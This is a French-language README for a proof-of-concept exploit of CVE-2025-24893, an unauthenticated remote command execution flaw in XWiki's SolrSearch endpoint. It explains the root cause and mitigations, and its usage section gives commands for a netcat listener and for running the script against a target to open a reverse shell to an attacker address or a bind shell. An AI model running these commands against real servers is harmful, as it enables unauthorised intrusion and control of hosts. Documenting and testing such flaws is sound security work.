CVE-2025-24893 – Exécution de commande à distance sur XWiki (Preuve de concept)

Aperçu

Ce dépôt contient une Preuve de Concept (PoC) contrôlée pour CVE-2025-24893, une vulnérabilité d'exécution de commande à distance (RCE) sans authentification affectant XWiki.

La vulnérabilité permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur en raison d'une évaluation et d'un traitement non sécurisés de templates et scripts côté serveur.

---

À propos de XWiki

XWiki est une plateforme wiki open-source pour entreprises, couramment utilisée pour :

• La documentation interne
• Les bases de connaissances
• Les portails de collaboration d'équipe

Étant donné que XWiki est fréquemment déployé sur des serveurs accessibles depuis Internet, les vulnérabilités de sécurité dans la gestion des requêtes et la logique de scripts peuvent avoir un impact réel élevé.

---

Résumé de la vulnérabilité

• Identifiant CVE : CVE-2025-24893
• Catégorie : Injection de templates côté serveur menant à une exécution de commande à distance
• Vecteur d'attaque : Requête HTTP GET
• Authentification requise : Aucune
• Impact : Exécution de commande arbitraire avec les privilèges du serveur

Cause racine

Les entrées contrôlées par l'utilisateur transmises au point de terminaison SolrSearch étaient évaluées de manière incorrecte par le moteur de scripts Groovy et n'étaient pas correctement validées. Cela a permis aux entrées fournies par l'attaquant d'être interprétées comme du code exécutable côté serveur, entraînant l'exécution de commandes sur le système hôte.

---

Versions affectées

• Versions de XWiki jusqu'à et y compris la 15.10.10
• Correction appliquée dans les versions ultérieures

---

Fonctionnalités de la Preuve de concept

Cette PoC démontre les éléments suivants :

• Mode de détection de vulnérabilité Confirme de manière sûre si l'instance cible est vulnérable en exécutant une expression bénigne côté serveur.

• Exécution de commande à distance Démontre l'exécution de commandes arbitraires sur le système cible.

• Exécution de shell inversé Établit une connexion sortante depuis la cible vers le testeur.

• Shell lié (optionnel) Ouvre un shell en écoute sur l'hôte cible (moins fiable que les shells inversés).

---

Utilisation

Vérification de vulnérabilité

python3 xwiki_cve_2025_24893.py http://target:8080 -m check

Shell inversé (recommandé)

nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444

Shell lié

python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444

---

Flux d'attaque haut niveau

1. Une requête contrefaite est envoyée au point de terminaison vulnérable SolrSearch
2. Des instructions de template malveillantes sont injectées via une entrée contrôlée par l'utilisateur
3. L'entrée est évaluée par le moteur Groovy comme du code de confiance
4. Des commandes arbitraires du système d'exploitation sont exécutées sur le serveur

---

Recommandations d'atténuation

• Mettez à jour XWiki vers une version corrigée immédiatement
• Restreignez l'accès aux points de terminaison internes dans la mesure du possible
• Limitez ou isolez les fonctionnalités de scripts côté serveur
• Surveillez les journaux d'application pour tout comportement anormal d'exécution de templates

---

Avertissement

Ce projet est fourni strictement à des fins éducatives et pour des tests de sécurité autorisés.

Toute utilisation non autorisée de ce code contre des systèmes sans autorisation explicite est interdite.

---

Crédits

• Recherche originale sur la vulnérabilité et inspiration de la PoC par Al Baradi Joy
• Refactorisation et extension à des fins de recherche éducative et défensive en sécurité

---

Objectif de ce dépôt

Ce dépôt a été créé pour démontrer :

• L'analyse de vulnérabilités réelles
• Le développement sûr et responsable de preuves de concept
• La compréhension des risques d'injection de templates côté serveur et d'exécution de commande à distance
• La sensibilisation défensive et les considérations d'atténuation

---